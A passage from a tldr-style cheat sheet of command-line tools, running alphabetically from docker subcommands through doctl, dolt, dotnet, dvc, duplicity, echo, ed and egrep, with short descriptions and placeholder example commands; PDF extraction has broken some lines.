docker network create --driver {{driver_name}}


{{network_name}}

• Display detailed information of a space-separated list of networks:

docker network inspect {{network_name}}

• Connect a container to a network using a name or ID:

docker network connect {{network_name}} {{container_name|ID}}

• Disconnect a container from a network:

docker network disconnect {{network_name}} {{container_name|


ID}}

• Remove all unused (not referenced by any container) networks:

docker network prune

• Remove a space-separated list of unused networks:

docker network rm {{network_name}}


docker ps
List Docker containers.

More information: https://docs.docker.com/engine/reference/commandline/ps/.

• List currently running docker containers:

docker ps

• List all docker containers (running and stopped):

docker ps --all

• Show the latest created container (includes all states):

docker ps --latest

• Filter containers that contain a substring in their name:

docker ps --filter="name={{name}}"

• Filter containers that share a given image as an ancestor:

docker ps --filter "ancestor={{image}}:{{tag}}"

• Filter containers by exit status code:

docker ps --all --filter="exited={{code}}"

• Filter containers by status (created, running, removing, paused, exited and dead):

docker ps --filter="status={{status}}"

• Filter containers that mount a specific volume or have a volume mounted in a


specific path:

docker ps --filter="volume={{path/to/directory}}" --format


"table {{.ID}}\t{{.Image}}\t{{.Names}}\t{{.Mounts}}"
docker rmi
Remove one or more Docker images.

More information: https://docs.docker.com/engine/reference/commandline/rmi/.

• Show help:

docker rmi

• Remove one or more images given their names:

docker rmi {{image1 image2 ...}}

• Force remove an image:

docker rmi --force {{image}}

• Remove an image without deleting untagged parents:

docker rmi --no-prune {{image}}


docker run
Run a command in a new Docker container.

More information: https://docs.docker.com/engine/reference/commandline/run/.

• Run command in a new container from a tagged image:

docker run {{image:tag}} {{command}}

• Run command in a new container in background and display its ID:

docker run -d {{image}} {{command}}

• Run command in a one-off container in interactive mode and pseudo-TTY:

docker run --rm -it {{image}} {{command}}

• Run command in a new container with passed environment variables:

docker run -e '{{variable}}={{value}}' -e {{variable}}


{{image}} {{command}}

• Run command in a new container with bind mounted volumes:

docker run -v {{path/to/host_path}}:{{path/to/


container_path}} {{image}} {{command}}

• Run command in a new container with published ports:

docker run -p {{host_port}}:{{container_port}} {{image}}


{{command}}

• Run command in a new container overwriting the entrypoint of the image:

docker run --entrypoint {{command}} {{image}}

• Run command in a new container connecting it to a network:

docker run --network {{network}} {{image}}


docker save
Export one or more docker images to archive.

More information: https://docs.docker.com/engine/reference/commandline/save/.

• Save an image by redirecting stdout to a tar archive:

docker save {{image}}:{{tag}} > {{path/to/file.tar}}

• Save an image to a tar archive:

docker save --output {{path/to/file.tar}} {{image}}:{{tag}}

• Save all tags of the image:

docker save --output {{path/to/file.tar}} {{image_name}}

• Cherry-pick particular tags of an image to save:

docker save --output {{path/to/file.tar}} {{image_name:tag1


image_name:tag2 ...}}
docker secret
Manage Docker swarm secrets.

More information: https://docs.docker.com/engine/reference/commandline/secret/.

• Create a new secret from stdin:

{{command}} | docker secret create {{secret_name}} -

• Create a new secret from a file:

docker secret create {{secret_name}} {{path/to/file}}

• List all secrets:

docker secret ls

• Display detailed information on one or multiple secrets in a human friendly


format:

docker secret inspect --pretty {{secret_name1 secret_name2


...}}

• Remove one or more secrets:

docker secret rm {{secret_name1 secret_name2 ...}}


docker service
Manage the services on a docker daemon.

More information: https://docs.docker.com/engine/reference/commandline/service/.

• List the services on a docker daemon:

docker service ls

• Create a new service:

docker service create --name {{service_name}} {{image}}:


{{tag}}

• Display detailed information of a space-separated list of services:

docker service inspect {{service_name|ID}}

• List the tasks of a space-separated list of services:

docker service ps {{service_name|ID}}

• Scale to a specific number of replicas for a space-separated list of services:

docker service scale {{service_name}}={{count_of_replicas}}

• Remove a space-separated list of services:

docker service rm {{service_name|ID}}


docker-slim
Analyze and optimize Docker images.

More information: https://github.com/docker-slim/docker-slim.

• Start DockerSlim on interactive mode:

docker-slim

• Analyze Docker layers from a specific image:

docker-slim xray --target {{image:tag}}

• Lint a Dockerfile:

docker-slim lint --target {{path/to/Dockerfile}}

• Analyze and generate an optimized Docker image:

docker-slim build {{image:tag}}

• Display help for a subcommand:

docker-slim {{subcommand}} --help


docker start
Start one or more stopped containers.

More information: https://docs.docker.com/engine/reference/commandline/start/.

• Show help:

docker start

• Start a docker container:

docker start {{container}}

• Start a container, attaching stdout and stderr and forwarding signals:

docker start --attach {{container}}

• Start one or more space-separated containers:

docker start {{container(s)}}


docker stats
Display a live stream of resource usage statistics for containers.

More information: https://docs.docker.com/engine/reference/commandline/stats/.

• Display a live stream for the statistics of all running containers:

docker stats

• Display a live stream of statistics for a space-separated list of containers:

docker stats {{container_name}}

• Change the columns format to display container's CPU usage percentage:

docker stats --format "{{.Name}}:\t{{.CPUPerc}}"

• Display statistics for all containers (both running and stopped):

docker stats --all

• Disable streaming stats and only pull the current stats:

docker stats --no-stream


docker swarm
A container orchestration tool.

More information: https://docs.docker.com/engine/swarm/.

• Initialize a swarm cluster:

docker swarm init

• Display the token to join a manager or a worker:

docker swarm join-token {{worker|manager}}

• Join a new node to the cluster:

docker swarm join --token {{token}} {{manager_node_url:2377}}

• Remove a worker from the swarm (run inside the worker node):

docker swarm leave

• Display the current CA certificate in PEM format:

docker swarm ca

• Rotate the current CA certificate and display the new certificate:

docker swarm ca --rotate

• Change the valid period for node certificates:

docker swarm update --cert-expiry {{hours}}h{{minutes}}


m{{seconds}}s
docker system
Manage Docker data and display system-wide information.

More information: https://docs.docker.com/engine/reference/commandline/system/.

• Show help:

docker system

• Show docker disk usage:

docker system df

• Show detailed information on disk usage:

docker system df --verbose

• Remove unused data:

docker system prune

• Remove unused data created more than a specified amount of time in the past:

docker system prune --filter="until={{hours}}h{{minutes}}m"

• Display real-time events from the Docker daemon:

docker system events

• Display real-time events from containers streamed as valid JSON Lines:

docker system events --filter 'type=container' --format


'{{json .}}'

• Display system-wide information:

docker system info


docker
Manage Docker containers and images.

Some subcommands such as docker run have their own usage documentation.

More information: https://docs.docker.com/engine/reference/commandline/cli/.

• List all docker containers (running and stopped):

docker ps --all

• Start a container from an image, with a custom name:

docker run --name {{container_name}} {{image}}

• Start or stop an existing container:

docker {{start|stop}} {{container_name}}

• Pull an image from a docker registry:

docker pull {{image}}

• Display the list of already downloaded images:

docker images

• Open a shell inside a running container:

docker exec -it {{container_name}} {{sh}}

• Remove a stopped container:

docker rm {{container_name}}

• Fetch and follow the logs of a container:

docker logs -f {{container_name}}


doctl account
Retrieve information about Digital Ocean accounts.

More information: https://docs.digitalocean.com/reference/doctl/reference/account/.

• Display account info:

doctl account get

• Show the hourly API limit, progress towards it, and when the rate limit resets:

doctl account ratelimit

• Display help:

doctl account --help


doctl apps
Used to manage digitalocean apps.

More information: https://docs.digitalocean.com/reference/doctl/reference/apps.

• Create an app:

doctl apps create

• Create a deployment for a specific app:

doctl apps create-deployment {{app_id}}

• Delete an app interactively:

doctl apps delete {{app_id}}

• Get an app:

doctl apps get

• List all apps:

doctl apps list

• List all deployments from a specific app:

doctl apps list-deployments {{app_id}}

• Get logs from a specific app:

doctl apps logs {{app_id}}

• Update a specific app with a given app spec:

doctl apps update {{app_id}} --spec {{path/to/spec.yml}}


doctl balance
Show the balance of a Digital Ocean account.

More information: https://docs.digitalocean.com/reference/doctl/reference/balance/.

• Get balance of the account associated with the current context:

doctl balance get

• Get the balance of an account associated with an access token:

doctl balance get --access-token {{access_token}}

• Get the balance of an account associated with a specified context:

doctl balance get --context


doctl compute droplet
List, create, and delete virtual machines which are called droplets.

More information: https://docs.digitalocean.com/reference/doctl/reference/compute/


droplet/.

• Create a droplet:

doctl compute droplet create --region {{region}} --image


{{os_image}} --size {{vps_type}} {{droplet_name}}

• Delete a droplet:

doctl compute droplet delete {{droplet_id|droplet_name}}

• List droplets:

doctl compute droplet list


doctum
A PHP API documentation generator.

More information: https://github.com/code-lts/doctum.

• Parse a project:

doctum parse

• Render a project:

doctum render

• Parse then render a project:

doctum update

• Parse and render only a specific version of a project:

doctum update --only-version={{version}}

• Parse and render a project using a specific configuration:

doctum update {{path/to/config.php}}


dokku
Docker powered mini-Heroku (PaaS).

Easily deploy multiple apps to your server in different languages using a single git-
push command.

More information: https://github.com/dokku/dokku.

• List running apps:

dokku apps

• Create an app:

dokku apps:create {{app_name}}

• Remove an app:

dokku apps:destroy {{app_name}}

• Install plugin:

dokku plugin:install {{full_repo_url}}

• Link database to an app:

dokku {{db}}:link {{db_name}} {{app_name}}


dolt add
Add the contents of a table to the list of Dolt staged tables.

More information: https://github.com/dolthub/dolt.

• Add a table to the list of staged tables (stage a table):

dolt add {{table}}

• Stage all tables:

dolt add --all


dolt blame
Displays commit information for each row of a Dolt table.

More information: http://github.com/dolthub/dolt.

• Display the latest commit for each row of a table:

dolt blame {{table}}

• Display the latest commits for each row of a table when the specified commit was
made:

dolt blame {{commit}} {{table}}

• View help:

dolt blame --help


dolt branch
Manage Dolt branches.

More information: https://github.com/dolthub/dolt.

• List local branches (current branch is highlighted by *):

dolt branch

• List all local and remote branches:

dolt branch --all

• Create a new branch based on the current branch:

dolt branch {{branch_name}}

• Create a new branch with the specified commit as the latest:

dolt branch {{branch_name}} {{commit}}

• Rename a branch:

dolt branch --move {{branch_name1}} {{branch_name2}}

• Duplicate a branch:

dolt branch --copy {{branch_name1}} {{branch_name2}}

• Delete a branch:

dolt branch --delete {{branch_name}}

• Display the name of the current branch:

dolt branch --show-current


dolt checkout
Checkout the work tree or tables to a specific branch or commit.

More information: https://github.com/dolthub/dolt.

• Switch to a branch:

dolt checkout {{branch_name}}

• Revert unstaged changes to a table:

dolt checkout {{table}}

• Create new branch and switch to it:

dolt checkout -b {{branch_name}}

• Create new branch based on a specified commit and switch to it:

dolt checkout -b {{branch_name}} {{commit}}


dolt clone
Clone a repository into a new directory.

More information: https://docs.dolthub.com/interfaces/cli#dolt-clone.

• Clone an existing repository into a specific directory (defaults to the repository


name):

dolt clone {{repository_url}} {{path/to/directory}}

• Clone an existing repository and add a specific remote (defaults to origin):

dolt clone --remote {{remote_name}} {{repository_url}}

• Clone an existing repository only fetching a specific branch (defaults to all


branches):

dolt clone --branch {{branch_name}} {{repository_url}}

• Clone a repository, using an AWS region (uses the profile's default region if none is
provided):

dolt clone --aws-region {{region_name}} {{repository_url}}

• Clone a repository, using an AWS credentials file:

dolt clone --aws-creds-file {{credentials_file}}


{{repository_url}}

• Clone a repository, using an AWS credentials profile (uses the default profile if
none is provided):

dolt clone --aws-creds-profile {{profile_name}}


{{repository_url}}

• Clone a repository, using an AWS credentials type:

dolt clone --aws-creds-type {{credentials_type}}


{{repository_url}}
dolt commit
Commit staged changes to tables.

More information: https://docs.dolthub.com/interfaces/cli#dolt-commit.

• Commit all staged changes, opening the editor specified by $EDITOR to enter the
commit message:

dolt commit

• Commit all staged changes with the specified message:

dolt commit --message "{{commit_message}}"

• Stage all unstaged changes to tables before committing:

dolt commit --all

• Use the specified ISO 8601 commit date (defaults to current date and time):

dolt commit --date "{{2021-12-31T00:00:00}}"

• Use the specified author for the commit:

dolt commit --author "{{author_name}} <{{author_email}}>"

• Allow creating an empty commit, with no changes:

dolt commit --allow-empty

• Ignore foreign key warnings:

dolt commit --force


dolt config
Read and write local (per repository) and global (per user) Dolt configuration variables.

More information: https://docs.dolthub.com/interfaces/cli#dolt-config.

• List all local and global configuration options and their values:

dolt config --list

• Display the value of a local or global configuration variable:

dolt config --get {{name}}

• Modify the value of a local configuration variable, creating it if it doesn't exist:

dolt config --add {{name}} {{value}}

• Modify the value of a global configuration variable, creating it if it doesn't exist:

dolt config --global --add {{name}} {{value}}

• Delete a local configuration variable:

dolt config --unset {{name}}

• Delete a global configuration variable:

dolt config --global --unset {{name}}


dolt
Dolt is an SQL database that you can fork, clone, branch, merge, push and pull just like a
Git repository.

Some subcommands such as dolt commit have their own usage documentation.

More information: https://github.com/dolthub/dolt.

• Execute a dolt subcommand:

dolt {{subcommand}}

• List available subcommands:

dolt help
dot
Render an image of a linear directed network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

dot -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

dot -T {{svg}} -o {{path/to/image.svg}} {{path/to/input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

dot -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | dot -T {{gif}} > {{path/
to/image.gif}}

• Display help:

dot -?
dotnet build
Builds a .NET application and its dependencies.

More information: https://docs.microsoft.com/dotnet/core/tools/dotnet-build.

• Compile the project or solution in the current directory:

dotnet build

• Compile a .NET project or solution in debug mode:

dotnet build {{path/to/project_or_solution}}

• Compile in release mode:

dotnet build --configuration {{Release}}

• Compile without restoring dependencies:

dotnet build --no-restore

• Compile with a specific verbosity level:

dotnet build --verbosity {{quiet|minimal|normal|detailed|


diagnostic}}

• Compile for a specific runtime:

dotnet build --runtime {{runtime_identifier}}

• Specify the output directory:

dotnet build --output {{path/to/directory}}


dotnet ef
Perform design-time development tasks for Entity Framework Core.

More information: https://docs.microsoft.com/ef/core/cli/dotnet.

• Update the database to a specified migration:

dotnet ef database update {{migration}}

• Drop the database:

dotnet ef database drop

• List available DbContext types:

dotnet ef dbcontext list

• Generate code for a DbContext and entity types for a database:

dotnet ef dbcontext scaffold {{connection_string}}


{{provider}}

• Add a new migration:

dotnet ef migrations add {{name}}

• Remove the last migration, rolling back the code changes that were done for the
latest migration:

dotnet ef migrations remove

• List available migrations:

dotnet ef migrations list

• Generate a SQL script from migrations range:

dotnet ef migrations script {{from_migration}}


{{to_migration}}
dotnet publish
Publish a .NET application and its dependencies to a directory for deployment to a
hosting system.

More information: https://docs.microsoft.com/dotnet/core/tools/dotnet-publish.

• Compile a .NET project in release mode:

dotnet publish --configuration Release {{path/to/


project_file}}

• Publish the .NET Core runtime with your application for the specified runtime:

dotnet publish --self-contained true --runtime


{{runtime_identifier}} {{path/to/project_file}}

• Package the application into a platform-specific single-file executable:

dotnet publish --runtime {{runtime_identifier}} -


p:PublishSingleFile=true {{path/to/project_file}}

• Trim unused libraries to reduce the deployment size of an application:

dotnet publish --self-contained true --runtime


{{runtime_identifier}} -p:PublishTrimmed=true {{path/to/
project_file}}

• Compile a .NET project without restoring dependencies:

dotnet publish --no-restore {{path/to/project_file}}

• Specify the output directory:

dotnet publish --output {{path/to/directory}} {{path/to/


project_file}}
dotnet restore
Restores the dependencies and tools of a .NET project.

More information: https://docs.microsoft.com/dotnet/core/tools/dotnet-restore.

• Restore dependencies for a .NET project or solution in the current directory:

dotnet restore

• Restore dependencies for a .NET project or solution in a specific location:

dotnet restore {{path/to/project_or_solution}}

• Restore dependencies without caching the HTTP requests:

dotnet restore --no-cache

• Force all dependencies to be resolved even if the last restore was successful:

dotnet restore --force

• Restore dependencies using package source failures as warnings:

dotnet restore --ignore-failed-sources

• Restore dependencies with a specific verbosity level:

dotnet restore --verbosity {{quiet|minimal|normal|detailed|


diagnostic}}
dotnet
Cross platform .NET command-line tools for .NET Core.

Some subcommands such as dotnet build have their own usage documentation.

More information: https://docs.microsoft.com/dotnet/core/tools.

• Initialize a new .NET project:

dotnet new {{template_short_name}}

• Restore NuGet packages:

dotnet restore

• Build and execute the .NET project in the current directory:

dotnet run

• Run a packaged dotnet application (only needs the runtime, the rest of the
commands require the .NET Core SDK installed):

dotnet {{path/to/application.dll}}
doxygen
A documentation system for various programming languages.

More information: http://www.doxygen.nl.

• Generate a default template configuration file Doxyfile:

doxygen -g

• Generate a template configuration file:

doxygen -g {{path/to/config_file}}

• Generate documentation using an existing configuration file:

doxygen {{path/to/config_file}}
drill
Perform various DNS queries.

More information: https://manned.org/drill.

• Lookup the IP(s) associated with a hostname (A records):

drill {{example.com}}

• Lookup the mail server(s) associated with a given domain name (MX record):

drill mx {{example.com}}

• Get all types of records for a given domain name:

drill any {{example.com}}

• Specify an alternate DNS server to query:

drill {{example.com}} @{{8.8.8.8}}

• Perform a reverse DNS lookup on an IP address (PTR record):

drill -x {{8.8.8.8}}

• Perform DNSSEC trace from root servers down to a domain name:

drill -TD {{example.com}}

• Show DNSKEY record(s) for a domain name:

drill -s dnskey {{example.com}}


drupal-check
Check Drupal PHP code for deprecations.

More information: https://github.com/mglaman/drupal-check.

• Check the code in a specific directory for deprecations:

drupal-check {{path/to/directory}}

• Check the code excluding a comma-separated list of directories:

drupal-check --exclude-dir {{path/to/excluded_directory}},


{{path/to/excluded_files/*.php}} {{path/to/directory}}

• Don't show a progress bar:

drupal-check --no-progress {{path/to/directory}}

• Perform static analysis to detect bad coding practices:

drupal-check --analysis {{path/to/directory}}


drupal
Generate boilerplate code, interact with and debug Drupal projects.

Some subcommands such as drupal check have their own usage documentation.

More information: https://drupalconsole.com/.

• Install a module:

drupal module:install {{module_name}}

• Uninstall a module:

drupal module:uninstall {{module_name}}

• Clear all caches:

drupal cache:rebuild

• View current Drupal installation status:

drupal site:status
drush
A command-line shell and scripting interface for Drupal.

More information: https://www.drush.org.

• Enable module "foo":

drush en {{foo}}

• Uninstall module "foo":

drush pmu {{foo}}

• Clear all caches:

drush cr

• Clear CSS and JavaScript caches:

drush cc css-js
du
Disk usage: estimate and summarize file and directory space usage.

More information: https://www.gnu.org/software/coreutils/du.

• List the sizes of a directory and any subdirectories, in the given unit (B/KiB/MiB):

du -{{b|k|m}} {{path/to/directory}}

• List the sizes of a directory and any subdirectories, in human-readable form (i.e.
auto-selecting the appropriate unit for each size):

du -h {{path/to/directory}}

• Show the size of a single directory, in human-readable units:

du -sh {{path/to/directory}}

• List the human-readable sizes of a directory and of all the files and directories
within it:

du -ah {{path/to/directory}}

• List the human-readable sizes of a directory and any subdirectories, up to N levels


deep:

du -h --max-depth=N {{path/to/directory}}

• List the human-readable size of all .jpg files in subdirectories of the current
directory, and show a cumulative total at the end:

du -ch {{*/*.jpg}}
dua
Dua (Disk Usage Analyzer) is a tool to conveniently learn about the usage of disk space
of a given directory.

More information: https://github.com/Byron/dua-cli.

• Analyze specific directory:

dua {{path/to/directory}}

• Display apparent size instead of disk usage:

dua --apparent-size

• Count hard-linked files each time they are seen:

dua --count-hard-links

• Aggregate the consumed space of one or more directories or files:

dua aggregate

• Launch the terminal user interface:

dua interactive

• Format printing byte counts:

dua --format {{metric|binary|bytes|GB|GiB|MB|MiB}}

• Set the number of threads to be used:

dua --threads {{count}}


dune
A build system for OCaml programs.

More information: https://dune.build.

• Build all targets:

dune build

• Clean up the workspace:

dune clean

• Run all tests:

dune runtest

• Start the utop REPL with compiled modules automatically loaded into it, to
remove the need to load them by hand:

dune utop
duplicacy
A lock-free deduplication cloud backup tool.

More information: https://github.com/gilbertchen/duplicacy/wiki.

• Use current directory as the repository, initialize a SFTP storage and encrypt the
storage with a password:

duplicacy init -e {{snapshot_id}} {{sftp://


user@192.168.2.100/path/to/storage/}}

• Save a snapshot of the repository to the default storage:

duplicacy backup

• List snapshots of current repository:

duplicacy list

• Restore the repository to a previously saved snapshot:

duplicacy restore -r {{revision}}

• Check the integrity of snapshots:

duplicacy check

• Add another storage to be used for the existing repository:

duplicacy add {{storage_name}} {{snapshot_id}}


{{storage_url}}

• Prune a specific revision of snapshot:

duplicacy prune -r {{revision}}

• Prune revisions, keeping one revision every n days for all revisions older than m
days:

duplicacy prune -keep {{n:m}}


duplicity
Creates incremental, compressed, encrypted and versioned backups.

Can also upload the backups to a variety of backend services.

More information: http://duplicity.nongnu.org.

• Backup a directory via FTPS to a remote machine, encrypting it with a password:

FTP_PASSWORD={{ftp_login_password}}
PASSPHRASE={{encryption_password}} duplicity {{path/to/
source/directory}} {{ftps://user@hostname/target/directory/
path/}}

• Backup a directory to Amazon S3, doing a full backup every month:

duplicity --full-if-older-than {{1M}} --use-new-style s3://


{{bucket_name[/prefix]}}

• Delete versions older than 1 year from a backup stored on a WebDAV share:

FTP_PASSWORD={{webdav_login_password}} duplicity remove-


older-than {{1Y}} --force {{webdav[s]://user@hostname[:port]/
some_dir}}

• List the available backups:

duplicity collection-status "file://{{absolute/path/to/


backup/directory}}"

• List the files in a backup stored on a remote machine, via ssh:

duplicity list-current-files --time {{YYYY-MM-DD}} scp://


{{user@hostname}}/path/to/backup/dir

• Restore a subdirectory from a GnuPG-encrypted local backup to a given location:

PASSPHRASE={{gpg_key_password}} duplicity restore --encrypt-


key {{gpg_key_id}} --file-to-restore {{relative/path/
restoredirectory}} file://{{absolute/path/to/backup/
directory}} {{path/to/directory/to/restore/to}}
dust
Dust gives an instant overview of which directories are using disk space.

More information: https://github.com/bootandy/dust.

• Display information for the current directory:

dust

• Display information for a space-separated list of directories:

dust {{path/to/directory1}} {{path/to/directory2}}

• Display 30 directories (defaults to 21):

dust --number-of-lines {{30}}

• Display information for the current directory, up to 3 levels deep:

dust --depth {{3}}

• Display the biggest directories at the top in descending order:

dust --reverse

• Ignore all files and directories with a specific name:

dust --ignore-directory {{file_or_directory_name}}

• Do not display percent bars and percentages:

dust --no-percent-bars
dvc add
Add changed files to the index.

More information: https://dvc.org/doc/command-reference/add.

• Add a single target file to the index:

dvc add {{path/to/file}}

• Add a target directory to the index:

dvc add {{path/to/directory}}

• Recursively add all the files in a given target directory:

dvc add --recursive {{path/to/directory}}

• Add a target file with a custom .dvc filename:

dvc add --file {{custom_name.dvc}} {{path/to/file}}


dvc checkout
Checkout data files and directories from cache.

More information: https://dvc.org/doc/command-reference/checkout.

• Checkout the latest version of all target files and directories:

dvc checkout

• Checkout the latest version of a specified target:

dvc checkout {{target}}

• Checkout a specific version of a target from a different Git commit/tag/branch:

git checkout {{commit_hash|tag|branch}} {{target}} && dvc


checkout {{target}}
dvc commit
Record changes to DVC-tracked files in the project.

More information: https://dvc.org/doc/command-reference/commit.

• Commit changes to all DVC-tracked files and directories:

dvc commit

• Commit changes to a specified DVC-tracked target:

dvc commit {{target}}

• Recursively commit all DVC-tracked files in a directory:

dvc commit --recursive {{path/to/directory}}


dvc config
Low level command to manage custom configuration options for dvc repositories.

These configurations can be on project, local, global, or system level.

More information: https://dvc.org/doc/command-reference/config.

• Get the name of the default remote:

dvc config core.remote

• Set the project's default remote:

dvc config core.remote {{remote_name}}

• Unset the project's default remote:

dvc config --unset core.remote

• Get the config value for a specified key for the current project:

dvc config {{key}}

• Set the config value for a key on a project level:

dvc config {{key}} {{value}}

• Unset a project level config value for a given key:

dvc config --unset {{key}}

• Set a local, global, or system level config value:

dvc config --local/global/system {{key}} {{value}}


dvc dag
Visualize the pipeline(s) defined in dvc.yaml.

More information: https://dvc.org/doc/command-reference/dag.

• Visualize the entire pipeline:

dvc dag

• Visualize the pipeline stages up to a specified target stage:

dvc dag {{target}}

• Export the pipeline in the dot format:

dvc dag --dot > {{path/to/pipeline.dot}}


dvc destroy
Remove all DVC files and directories from a DVC project.

More information: https://dvc.org/doc/command-reference/destroy.

• Destroy the current project:

dvc destroy

• Force destroy the current project:

dvc destroy --force


dvc diff
Show changes in DVC tracked file and directories.

More information: https://dvc.org/doc/command-reference/diff.

• Compare DVC tracked files from different Git commits, tags, and branches w.r.t the
current workspace:

dvc diff {{commit_hash/tag/branch}}

• Compare the changes in DVC tracked files from 1 Git commit to another:

dvc diff {{revision_b}} {{revision_a}}

• Compare DVC tracked files, along with their latest hash:

dvc diff --show-hash {{commit}}

• Compare DVC tracked files, displaying the output as JSON:

dvc diff --show-json --show-hash {{commit}}

• Compare DVC tracked files, displaying the output as Markdown:

dvc diff --show-md --show-hash {{commit}}


dvc fetch
Download DVC tracked files and directories from a remote repository.

More information: https://dvc.org/doc/command-reference/fetch.

• Fetch the latest changes from the default remote upstream repository (if set):

dvc fetch

• Fetch changes from a specific remote upstream repository:

dvc fetch --remote {{remote_name}}

• Fetch the latest changes for a specific target/s:

dvc fetch {{target/s}}

• Fetch changes for all branch and tags:

dvc fetch --all-branches --all-tags

• Fetch changes for all commits:

dvc fetch --all-commits


dvc freeze
Freeze stages in the DVC pipeline.

This prevents DVC from tracking changes in stage dependencies and re-execution until
unfreeze.

See also dvs unfreeze.

More information: https://dvc.org/doc/command-reference/freeze.

• Freeze 1 or more specified stages:

dvc freeze {{stage_name_a}} [{{stage_name_b}} ...]


dvc gc
Remove unused files and directories from the cache or remote storage.

More information: https://dvc.org/doc/command-reference/gc.

• Garbage collect from the cache, keeping only versions referenced by the current
workspace:

dvc gc --workspace

• Garbage collect from the cache, keeping only versions referenced by branch, tags,
and commits:

dvc gc --all-branches --all-tags --all-commits

• Garbage collect from the cache, including the default cloud remote storage (if set):

dvc gc --all-commits --cloud

• Garbage collect from the cache, including a specific cloud remote storage:

dvc gc --all-commits --cloud --remote {{remote_name}}


dvc init
Initialize a new local DVC repository.

More information: https://dvc.org/doc/command-reference/init.

• Initialize a new local repository:

dvc init

• Initialize DVC without Git:

dvc init --no-scm

• Initialize DVC in a subdirectory:

cd {{path/to/subdir}} && dvc init --sudir


dvc unfreeze
Unfreeze stages in the DVC pipeline.

This allows DVC to start tracking changes in stage dependencies again after they were
frozen.

See also dvc freeze.

More information: https://dvc.org/doc/command-reference/unfreeze.

• Unfreeze 1 or more specified stages:

dvc unfreeze {{stage_name_a}} [{{stage_name_b}} ...]


dvc
Data Version Control: like git for data.

Some subcommands such as dvc commit have their own usage documentation.

More information: https://dvc.org/.

• Check the DVC version:

dvc --version

• Display general help:

dvc --help

• Display help about a specific subcommand:

dvc {{subcommand}} --help

• Execute a DVC subcommand:

dvc {{subcommand}}
dwebp
dwebp decompresses WebP files into PNG, PAM, PPM or PGM images.

Animated WebP files are not supported.

More information: https://developers.google.com/speed/webp/docs/dwebp/.

• Convert a webp file into a png file:

dwebp {{path/to/input.webp}} -o {{path/to/output.png}}

• Convert a webp file into a specific filetype:

dwebp {{path/to/input.webp}} -bmp|-tiff|-pam|-ppm|-pgm|-yuv -


o {{path/to/output}}

• Convert a webp file, using multi-threading if possible:

dwebp {{path/to/input.webp}} -o {{path/to/output.png}} -mt

• Convert a webp file, but also crop and scale at the same time:

dwebp {{input.webp}} -o {{output.png}} -crop {{x_pos}}


{{y_pos}} {{width}} {{height}} -scale {{width}} {{height}}

• Convert a webp file and flip the output:

dwebp {{path/to/input.webp}} -o {{path/to/output.png}} -flip

• Convert a webp file and don't use in-loop filtering to speed up the decoding
process:

dwebp {{path/to/input.webp}} -o {{path/to/output.png}} -


nofilter
ebook-convert
Can be used to convert e-books between common formats, e.g. PDF, EPUB and MOBI.

Part of the Calibre e-book library tool.

More information: https://manual.calibre-ebook.com/generated/en/ebook-


convert.html.

• Convert an e-book into another format:

ebook-convert {{source}} {{destination}}

• Convert Markdown or HTML to e-book with TOC, title and author:

ebook-convert {{source}} {{destination}} --level1-toc="//


h:h1" --level2-toc="//h:h2" --level3-toc="//h:h3" --
title={{title}} --authors={{author}}
echo
Print given arguments.

More information: https://www.gnu.org/software/coreutils/echo.

• Print a text message. Note: quotes are optional:

echo "{{Hello World}}"

• Print a message with environment variables:

echo "{{My path is $PATH}}"

• Print a message without the trailing newline:

echo -n "{{Hello World}}"

• Append a message to the file:

echo "{{Hello World}}" >> {{file.txt}}

• Enable interpretation of backslash escapes (special characters):

echo -e "{{Column 1\tColumn 2}}"


ect
Efficient Compression Tool.

File optimizer written in C++. It supports .png, .jpg, .gzip and .zip files.

More information: https://github.com/fhanau/Efficient-Compression-Tool.

• Compress a file:

ect {{path/to/file.png}}

• Compress a file with specified compression level and multithreading (1=Fastest


(Worst), 9=Slowest (Best), default is 3):

ect -{{9}} --mt-deflate {{path/to/file.zip}}

• Compress all files in a directory recursively:

ect -recurse {{path/to/directory}}

• Compress a file, keeping the original modification time:

ect -keep {{path/to/file.png}}

• Compress a file, stripping metadata:

ect -strip {{path/to/file.png}}


ed
The original Unix text editor.

More information: https://man.archlinux.org/man/ed.1.

• Start ed, editing an empty document (which can be saved as a new file in the
current directory):

ed

• Start ed, editing an empty document, with : as a command prompt indicator:

ed -p :

• Start ed editing an existing file (this shows the byte count of the loaded file):

ed -p : {{path/to/file}}

• Toggle the printing of error explanations. (By default, explanations are not printed
and only a ? appears):

• Add text to the current document. Mark completion by entering a period by itself
in a new line:

a<Enter>{{text_to_insert}}<Enter>.

• Print the entire document (, is a shortcut to the range 1,$ which covers the start
to the end of the document):

,p

• Write the current document to a new file (the filename can be omitted if ed was
called with an existing file):

w {{filename}}

• Quit ed:

q
edgepaint
Colorize edges of a graph layout to clarify crossing edges.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://graphviz.org/pdf/edgepaint.1.pdf.

• Colorize edges of one or more graph layouts (that already have layout information)
to clarify crossing edges:

edgepaint {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Colorize edges using a color scheme. (See https://graphviz.org/doc/info/


colors.html#brewer):

edgepaint -color-scheme={{accent7}} {{path/to/layout.gv}} >


{{path/to/output.gv}}

• Lay out a graph and colorize its edges, then convert to a PNG image:

dot {{path/to/input.gv}} | edgepaint | dot -T {{png}} >


{{path/to/output.png}}

• Display help for edgepaint:

edgepaint -?
egrep
Find patterns in files using extended regular expression (supports ?, +, {}, () and |).

More information: https://manned.org/egrep.

• Search for a pattern within a file:

egrep "{{search_pattern}}" {{path/to/file}}

• Search for a pattern within multiple files:

egrep "{{search_pattern}}" {{path/to/file1}} {{path/to/


file2}} {{path/to/file3}}

• Search stdin for a pattern:

cat {{path/to/file}} | egrep {{search_pattern}}

• Print file name and line number for each match:

egrep --with-filename --line-number "{{search_pattern}}"


{{path/to/file}}

• Search for a pattern in all files recursively in a directory, ignoring binary files:

egrep --recursive --binary-files={{without-match}}


"{{search_pattern}}" {{path/to/directory}}

• Search for lines that do not match a pattern:

egrep --invert-match "{{search_pattern}}" {{path/to/file}}


electron-packager
A tool used to build Electron app executables for Windows, Linux and macOS.

